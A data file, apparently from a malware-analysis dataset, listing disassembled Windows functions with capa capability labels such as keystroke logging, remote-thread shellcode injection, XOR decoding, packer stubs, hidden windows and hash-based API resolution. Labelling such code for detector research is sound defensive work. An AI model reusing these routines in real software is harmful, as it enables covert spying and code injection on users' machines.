joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4569c8
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov esi, ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x456aea
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00456178
xor eax, eax
push ebp
push 0x456acd
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x456a18
call fcn.004040e8
jmp 0x456ad4
push 0
push esi
push ebx
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_send
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x456ab7
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x456ab7
lea eax, [ebp - 0xc]
push eax
mov cl, 1
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403ac4
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x456ab7
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0040bb1c
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x456b04
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x4769ac]
mov dl, 1
mov eax, dword [0x45548c]
call fcn.0040c440
call fcn.0040403c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x456ad4
mov eax, dword [ebp - 4]
call fcn.00456184
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x456af1
lea eax, [ebp - 0x28]
call fcn.00404684
ret
Function at 0x456b50
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd8
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x28], ebx
mov ebx, ecx
mov esi, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x456c9a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00456178
xor eax, eax
push ebp
push 0x456c7d
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 8], eax
cmp ebx, 0xffffffff
jne 0x456bb5
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
je 0x456bb5
lea eax, [ebp - 8]
push eax
push 0x4004667f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_ioctlsocket
jmp 0x456c67
mov eax, dword [ebp - 4]
cmp byte [eax + 8], 0
jne 0x456bc8
call fcn.004040e8
jmp 0x456c84
push 0
push ebx
push esi
mov eax, dword [ebp - 4]
mov eax, dword [eax + 4]
push eax
call sub.wsock32.dll_recv
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffff
jne 0x456c67
call sub.wsock32.dll_WSAGetLastError
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x2733
je 0x456c67
lea eax, [ebp - 0xc]
push eax
mov cl, 2
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov si, 0xfffe
call fcn.00403ac4
mov eax, dword [ebp - 4]
mov edx, dword [eax + 4]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0xc], 0
je 0x456c67
lea edx, [ebp - 0x28]
mov eax, dword [ebp - 0xc]
call fcn.0040bb1c
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x20], 0xb
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x18], 0
mov eax, 0x456cb4
mov dword [ebp - 0x14], eax
mov byte [ebp - 0x10], 0xb
lea eax, [ebp - 0x24]
push eax
push 2
mov ecx, dword [0x4769ac]
mov dl, 1
mov eax, dword [0x45548c]
call fcn.0040c440
call fcn.0040403c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x456c84
mov eax, dword [ebp - 4]
call fcn.00456184
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x456ca1
lea eax, [ebp - 0x28]
call fcn.00404684
ret

Function at 0x457570
Capabilities:
Get graphical window text

Disassembly:
push ebx
add esp, 0xffffff00
mov ebx, eax
push 0
push 0x4575e8
call sub.user32.dll_FindWindowA
test eax, eax
je 0x4575d7
push 0x4575f8
push 0x457604
push 0
push eax
call sub.user32.dll_FindWindowExA
push 0
push 0x45760c
push 0
push eax
call sub.user32.dll_FindWindowExA
test eax, eax
je 0x4575ce
mov edx, esp
push edx
push pe_nt_image_headers32
push 0xd
push eax
call sub.user32.dll_SendMessageA
mov eax, ebx
mov edx, esp
mov ecx, pe_nt_image_headers32
call fcn.004048f4
jmp 0x4575de
mov eax, ebx
call fcn.00404684
jmp 0x4575de
mov eax, ebx
call fcn.00404684
add esp, 0x100
pop ebx
ret
Function at 0x46ce5c
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
mov ecx, 8
push 0
push 0
dec ecx
jne 0x46ce64
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
push ebp
push 0x46d056
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, dword [ebx + 8]
lea ecx, [ebp - 0xc]
mov edx, 0x46d06c
mov eax, esi
call fcn.0046971c
mov edx, dword [ebp - 0xc]
lea eax, [ebx + 0xc]
call fcn.004046d8
lea ecx, [ebp - 0x10]
mov edx, 0x46d080
mov eax, esi
call fcn.0046971c
mov edx, dword [ebp - 0x10]
lea eax, [ebx + 0x28]
call fcn.004046d8
lea ecx, [ebp - 0x14]
mov edx, 0x46d098
mov eax, esi
call fcn.0046971c
mov edx, dword [ebp - 0x14]
lea eax, [ebx + 0x10]
call fcn.004046d8
lea ecx, [ebp - 0x18]
mov edx, 0x46d0b4
mov eax, esi
call fcn.0046971c
mov edx, dword [ebp - 0x18]
lea eax, [ebx + 0x14]
call fcn.004046d8
lea ecx, [ebp - 0x1c]
mov edx, 0x46d0d0
mov eax, esi
call fcn.0046971c
mov edx, dword [ebp - 0x1c]
lea eax, [ebx + 0x24]
call fcn.004046d8
lea ecx, [ebp - 0x24]
mov edx, 0x46d0e8
mov eax, esi
call fcn.0046971c
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x20]
call fcn.00408940
mov eax, dword [ebp - 0x20]
or edx, 0xffffffff
call fcn.00408c20
mov edi, eax
mov dword [ebx + 0x18], edi
test edi, edi
setge al
mov byte [ebx + 0x4c], al
lea ecx, [ebp - 0x28]
mov edx, 0x46d100
mov eax, esi
call fcn.0046971c
mov eax, dword [ebp - 0x28]
call fcn.0045db18
fstp qword [ebx + 0x30]
wait
lea ecx, [ebp - 0x2c]
mov edx, 0x46d110
mov eax, esi
call fcn.0046971c
mov eax, dword [ebp - 0x2c]
call fcn.0045db18
fstp qword [ebx + 0x40]
wait
lea ecx, [ebp - 0x30]
mov edx, 0x46d128
mov eax, esi
call fcn.0046971c
mov eax, dword [ebp - 0x30]
or edx, 0xffffffff
call fcn.00408c20
inc eax
je 0x46cff9
lea ecx, [ebp - 0x34]
mov edx, 0x46d128
mov eax, esi
call fcn.0046971c
mov eax, dword [ebp - 0x34]
call fcn.00408be4
mov edi, eax
mov eax, edi
mov ecx, 0xe10
cdq
idiv ecx
mov dword [ebp - 8], eax
mov eax, edi
mov ecx, 0xe10
cdq
idiv ecx
mov ecx, edx
mov eax, ecx
push ecx
mov ecx, 0x3c
cdq
idiv ecx
pop ecx
mov dword [ebp - 4], eax
mov eax, ecx
mov ecx, 0x3c
cdq
idiv ecx
mov edi, edx
push 0
mov ecx, edi
mov dx, word [ebp - 4]
mov ax, word [ebp - 8]
call fcn.0040a26c
fstp qword [ebp - 0x3c]
wait
call fcn.0040a5d0
fadd qword [ebp - 0x3c]
fstp qword [ebx + 0x38]
wait
jmp 0x46d014
lea ecx, [ebp - 0x40]
mov edx, 0x46d128
mov eax, esi
call fcn.0046971c
mov eax, dword [ebp - 0x40]
call fcn.0045db18
fstp qword [ebx + 0x38]
wait
lea ecx, [ebp - 0x44]
mov edx, 0x46d138
mov eax, esi
call fcn.0046971c
mov edx, dword [ebp - 0x44]
lea eax, [ebx + 0x48]
call fcn.004046d8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46d05d
lea eax, [ebp - 0x44]
mov edx, 2
call fcn.004046a8
lea eax, [ebp - 0x34]
mov edx, 0xb
call fcn.004046a8
ret
Function at 0x471ac0
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404b34
mov eax, dword [ebp - 8]
call fcn.00404b34
mov eax, dword [ebp - 0xc]
call fcn.00404b34
xor eax, eax
push ebp
push 0x471b78
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 0
push 0x471b88
call sub.wininet.dll_InternetOpenA
mov ebx, eax
push 0
push 0x80000000
push 0
push 0
push 0x471ba8
push dword [ebp - 4]
push 0x471be4
push dword [ebp - 8]
push 0x471bf4
push dword [ebp - 0xc]
lea eax, [ebp - 0x10]
mov edx, 6
call fcn.00404a04
mov eax, dword [ebp - 0x10]
call fcn.00404b44
push eax
push ebx
call sub.wininet.dll_InternetOpenUrlA
mov esi, eax
push ebx
call sub.wininet.dll_InternetCloseHandle
push esi
call sub.wininet.dll_InternetCloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x471b7f
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.004046a8
ret

Function at 0x471c10
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404b34
xor eax, eax
push ebp
push 0x471cc4
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
push 0
push 0
push 0x471cd4
call sub.wininet.dll_InternetOpenA
mov edi, eax
test edi, edi
je 0x471ca6
push 0
push 0x80000000
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.00404b44
push eax
push edi
call sub.wininet.dll_InternetOpenUrlA
mov esi, eax
test esi, esi
je 0x471ca2
xor eax, eax
mov dword [ebp - 8], eax
lea eax, [ebp - 0x15]
xor ecx, ecx
mov edx, 0xa
call fcn.004030d0
lea eax, [ebp - 8]
push eax
push 0xa
lea eax, [ebp - 0x15]
push eax
push esi
call sub.wininet.dll_InternetReadFile
push esi
call sub.wininet.dll_InternetCloseHandle
cmp dword [ebp - 8], 0
jbe 0x471c9e
mov bl, 1
jmp 0x471ca8
xor ebx, ebx
jmp 0x471ca8
xor ebx, ebx
jmp 0x471ca8
xor ebx, ebx
push edi
call sub.wininet.dll_InternetCloseHandle
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x471ccb
lea eax, [ebp - 4]
call fcn.00404684
ret

Function at 0x471cdc
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404b34
xor eax, eax
push ebp
push 0x471d50
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404944
mov esi, eax
test esi, esi
jle 0x471d2f
mov edi, 1
lea eax, [ebp - 4]
call fcn.00404b9c
mov edx, dword [ebp - 4]
mov dl, byte [edx + edi - 1]
xor dl, bl
mov byte [eax + edi - 1], dl
inc edi
dec esi
jne 0x471d16
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.004046d8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x471d57
lea eax, [ebp - 4]
call fcn.00404684
ret
Function at 0x471df0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
xor eax, eax
push ebp
push 0x471f2b
push dword fs:[eax]
mov dword fs:[eax], esp
mov edi, 0x471d8c
sub edi, 0x471d60
call fcn.00471d90
mov ebx, eax
test ebx, ebx
je 0x471f10
push 0x471f3c
call sub.kernel32.dll_GetModuleHandleA_2
mov dword [ebp - 4], eax
lea edx, [ebp - 0x1c]
xor eax, eax
call fcn.00402aa4
mov eax, dword [ebp - 0x1c]
call fcn.00404b44
mov esi, eax
push 0x471f4c
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [ebp - 0x14], eax
push 4
push 0x1000
lea eax, [ebp - 0x20]
mov edx, esi
call fcn.0040487c
mov eax, dword [ebp - 0x20]
call fcn.00404944
push eax
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x24]
mov edx, esi
call fcn.0040487c
mov eax, dword [ebp - 0x24]
call fcn.00404944
push eax
push esi
mov eax, dword [ebp - 0x10]
push eax
push ebx
call sub.kernel32.dll_WriteProcessMemory
push 4
push 0x1000
push 8
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov esi, eax
lea eax, [ebp - 0xc]
push eax
push 8
lea eax, [ebp - 0x14]
push eax
push esi
push ebx
call sub.kernel32.dll_WriteProcessMemory
push 0x40
push 0x1000
push edi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0xc]
push eax
push edi
push 0x471d60
mov eax, dword [ebp - 0x18]
push eax
push ebx
call sub.kernel32.dll_WriteProcessMemory
lea eax, [ebp - 8]
push eax
push 0
push esi
mov eax, dword [ebp - 0x18]
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
test eax, eax
je 0x471f10
push 0
call sub.kernel32.dll_ExitProcess_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x471f32
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.004046a8
ret
Function at 0x472088
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd7c
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x284], edx
mov dword [ebp - 0x27c], edx
mov dword [ebp - 0x280], edx
mov dword [ebp - 0x274], edx
mov dword [ebp - 0x278], edx
mov dword [ebp - 0x270], edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x26c]
mov edx, dword [0x4079e0]
call fcn.0040503c
xor eax, eax
push ebp
push 0x472310
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00404684
mov byte [ebp - 0x11], 0
xor eax, eax
mov dword [ebp - 0xc], eax
push 0
push 0x26
lea eax, [ebp - 0x111]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
lea eax, [ebp - 0x270]
lea edx, [ebp - 0x111]
mov ecx, pe_nt_image_headers32
call fcn.004048f4
mov eax, dword [ebp - 0x270]
lea edx, [ebp - 8]
call fcn.0040d028
mov eax, dword [ebp - 8]
call fcn.004028e8
call fcn.004028ac
mov dl, 1
mov eax, dword [0x415f38]
call fcn.00403898
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x4722cf
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x26c]
mov edx, 0x10
mov eax, 0x472328
call fcn.00409048
test eax, eax
jne 0x4721b7
mov eax, dword [ebp - 0x264]
and eax, 0x10
cmp eax, 0x10
jne 0x4721a8
mov eax, dword [ebp - 0x260]
mov edx, 0x472334
call fcn.00404a90
je 0x4721a8
mov eax, dword [ebp - 0x260]
mov edx, 0x472340
call fcn.00404a90
je 0x4721a8
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea eax, [ebp - 0x26c]
call fcn.00409098
test eax, eax
je 0x472168
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4722d9
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, 3
jle 0x4722ce
jmp 0x4722c4
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xa
jne 0x4721e7
mov byte [ebp - 0x11], 1
call fcn.00402b04
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
call dword [edx + 0x14]
mov edx, eax
xor eax, eax
call fcn.004272cc
mov ebx, eax
lea ecx, [ebp - 0x278]
mov edx, ebx
mov eax, dword [ebp - 0x10]
mov esi, dword [eax]
call dword [esi + 0xc]
mov ecx, dword [ebp - 0x278]
lea eax, [ebp - 0x274]
mov edx, dword [ebp - 8]
call fcn.00404990
mov eax, dword [ebp - 0x274]
call fcn.004028e8
call fcn.004028ac
lea ecx, [ebp - 0x26c]
mov edx, 0x3f
mov eax, 0x47234c
call fcn.00409048
test eax, eax
jne 0x4722c4
push dword [ebp - 8]
lea ecx, [ebp - 0x280]
mov edx, ebx
mov eax, dword [ebp - 0x10]
mov esi, dword [eax]
call dword [esi + 0xc]
push dword [ebp - 0x280]
push 0x47235c
push dword [ebp - 0x260]
lea eax, [ebp - 0x27c]
mov edx, 4
call fcn.00404a04
mov eax, dword [ebp - 0x27c]
call fcn.00408fb0
test al, al
je 0x4722c4
mov byte [ebp - 0x11], 1
push dword [ebp - 8]
lea ecx, [ebp - 0x284]
mov edx, ebx
mov eax, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push dword [ebp - 0x284]
push 0x47235c
push dword [ebp - 0x260]
mov eax, dword [ebp - 4]
mov edx, 4
call fcn.00404a04
cmp byte [ebp - 0x11], 0
je 0x4721da
ret
Function at 0x472360
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x472436
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x415f38]
call fcn.00403898
mov esi, eax
xor eax, eax
push ebp
push 0x47240e
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, 0x41
lea eax, [ebp - 8]
mov edx, ebx
call fcn.0040486c
lea eax, [ebp - 8]
mov edx, 0x47244c
call fcn.0040494c
mov eax, dword [ebp - 8]
call fcn.00404b44
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 3
jne 0x4723d4
mov edx, dword [ebp - 8]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc ebx
cmp ebx, 0x5b
jne 0x4723a0
call fcn.00402b04
mov eax, esi
mov edx, dword [eax]
call dword [edx + 0x14]
mov edx, eax
xor eax, eax
call fcn.004272cc
mov ebx, eax
mov ecx, dword [ebp - 4]
mov edx, ebx
mov eax, esi
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, esi
call fcn.004038c8
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x472420
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47243d
lea eax, [ebp - 8]
call fcn.00404684
ret
Function at 0x473468
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff00
mov ebx, edx
mov esi, eax
push esp
call sub.user32.dll_GetKeyboardState
mov eax, ebx
mov edx, 2
call fcn.00404cd0
push 0
mov eax, ebx
call fcn.00404b9c
push eax
lea eax, [esp + 8]
push eax
push 0
movzx edi, si
push edi
call sub.user32.dll_MapVirtualKeyA
push eax
push edi
call sub.user32.dll_ToAscii
sub eax, 1
jb 0x4734b4
je 0x4734bd
dec eax
je 0x4734d2
jmp 0x4734cb
mov eax, ebx
call fcn.00404684
jmp 0x4734d2
mov eax, ebx
mov edx, 1
call fcn.00404cd0
jmp 0x4734d2
mov eax, ebx
call fcn.00404684
add esp, 0x100
pop edi
pop esi
pop ebx
ret
Function at 0x423ea0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x423ecd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x423ecd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x432072
nop
nop
nop
mov ebx, 0x40c7d0
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x65bd620b
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
loop 0x432060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4320d2
nop
nop
nop
mov ebx, 0x42f314
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x10593234
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x4320c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x406de0
Capabilities:
Hide graphical window

Disassembly:
push 0
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_GetWindowLongA
or eax, 0x80
push eax
push 0xffffffffffffffec
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_SetWindowLongA
push 5
mov eax, dword [0x40a930]
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x4012a3
Capabilities:
Hide graphical window

Disassembly:
push ebp
push 0x10000
push 0x1000
push 1
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov dword [0x403df4], eax
push 0x64
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, 0x30
push eax
mov dword [eax], ecx
add eax, 0x4c
mov ebp, eax
mov eax, 0x400000
mov dword [0x403df0], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x44], 0x4011a6
mov dword [ebp - 0x24], str.cognomen
call dword [sym.imp.USER32.dll_RegisterClassExA]
xor eax, eax
push eax
push dword [0x403df0]
push eax
push eax
push 0x190
push 0x2b2
push 0x640
push 0x9c4
push 0
push str.invocatory
push str.cognomen
push eax
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov dword [0x403df8], eax
push eax
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call dword [sym.imp.USER32.dll_UpdateWindow]
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x40136d
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea ecx, [ebp - 0x1c]
push ecx
call edi
xor eax, eax
push eax
push eax
push eax
lea edx, [ebp - 0x1c]
push edx
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
jne 0x401354
mov eax, dword [0x403df4]
push eax
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
pop ebp
ret 0x10
Function at 0x403d39
Capabilities:
Encode data using xor

Disassembly:
push esi
xor esi, esi
cmp dword [esp + 0xc], esi
jbe 0x403e85
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDisablePredefinedCacheEx]
push edi
mov edi, dword [esp + 0x10]
call ebx
add byte [esi + edi], 0x73
call ebx
add byte [esi + edi], 0x10
call ebx
xor byte [esi + edi], 0x61
call ebx
add byte [esi + edi], 0x76
call ebx
add byte [esi + edi], 0xbd
call ebx
add byte [esi + edi], 0x59
call ebx
add byte [esi + edi], 0xef
call ebx
xor byte [esi + edi], 0x9c
call ebx
add byte [esi + edi], 0xaf
call ebx
add byte [esi + edi], 0x7f
call ebx
xor byte [esi + edi], 0x22
call ebx
add byte [esi + edi], 0x1c
call ebx
add byte [esi + edi], 0x8b
call ebx
add byte [esi + edi], 0xbf
call ebx
add byte [esi + edi], 0x60
call ebx
add byte [esi + edi], 0xd0
call ebx
xor byte [esi + edi], 0xf1
call ebx
add byte [esi + edi], 4
call ebx
add byte [esi + edi], 0x9b
call ebx
add byte [esi + edi], 0x59
call ebx
add byte [esi + edi], 0x43
call ebx
add byte [esi + edi], 0x7f
call ebx
add byte [esi + edi], 0x91
call ebx
add byte [esi + edi], 0xae
call ebx
add byte [esi + edi], 0xc0
call ebx
xor byte [esi + edi], 0xe3
call ebx
add byte [esi + edi], 0x88
call ebx
add byte [esi + edi], 0x1e
call ebx
add byte [esi + edi], 0xb7
call ebx
add byte [esi + edi], 5
call ebx
add byte [esi + edi], 0xdb
call ebx
xor byte [esi + edi], 0x2f
call ebx
xor byte [esi + edi], 0xea
call ebx
xor byte [esi + edi], 0x36
call ebx
add byte [esi + edi], 0x7a
call ebx
add byte [esi + edi], 0xe8
call ebx
xor byte [esi + edi], 0xa0
call ebx
add byte [esi + edi], 0x31
call ebx
add byte [esi + edi], 8
call ebx
xor byte [esi + edi], 0xf2
call ebx
add byte [esi + edi], 0xcb
call ebx
xor byte [esi + edi], 0xc
call ebx
add byte [esi + edi], 0x2b
call ebx
xor byte [esi + edi], 0x20
call ebx
add byte [esi + edi], 0x1c
call ebx
xor byte [esi + edi], 0x96
call ebx
add byte [esi + edi], 0x25
call ebx
add byte [esi + edi], 0xba
call ebx
add byte [esi + edi], 0x75
inc esi
cmp esi, dword [esp + 0x14]
jb 0x403d52
pop edi
pop ebx
pop esi
ret

Function at 0x403f0f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x20
mov eax, dword [0x44eaec]
xor eax, esp
mov dword [esp + 0x1c], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x30]
xor ebp, ebp
push edi
mov eax, dword [esi + 0x3c]
mov ebx, dword [eax + esi + 0x78]
add ebx, esi
mov edi, dword [ebx + 0x20]
mov eax, dword [ebx + 0x18]
add edi, esi
mov dword [esp + 0x10], eax
test eax, eax
je 0x403f78
mov eax, dword [edi]
lea ecx, [esp + 0x14]
add eax, esi
push eax
call fcn.00401b44
lea eax, [esp + 0x14]
push 0x14d
push eax
call fcn.004040e6
pop ecx
pop ecx
cmp eax, dword [esp + 0x38]
je 0x403f90
lea ecx, [esp + 0x14]
add edi, 4
call fcn.00403ab2
inc ebp
cmp ebp, dword [esp + 0x10]
jb 0x403f40
xor edi, edi
mov ecx, dword [esp + 0x2c]
lea eax, [esi + edi]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405f4c
add esp, 0x20
ret
mov eax, dword [ebx + 0x24]
lea eax, [eax + ebp*2]
movzx ecx, word [eax + esi]
mov eax, dword [ebx + 0x1c]
lea eax, [eax + ecx*4]
mov edi, dword [eax + esi]
lea ecx, [esp + 0x14]
call fcn.00403ab2
jmp 0x403f7a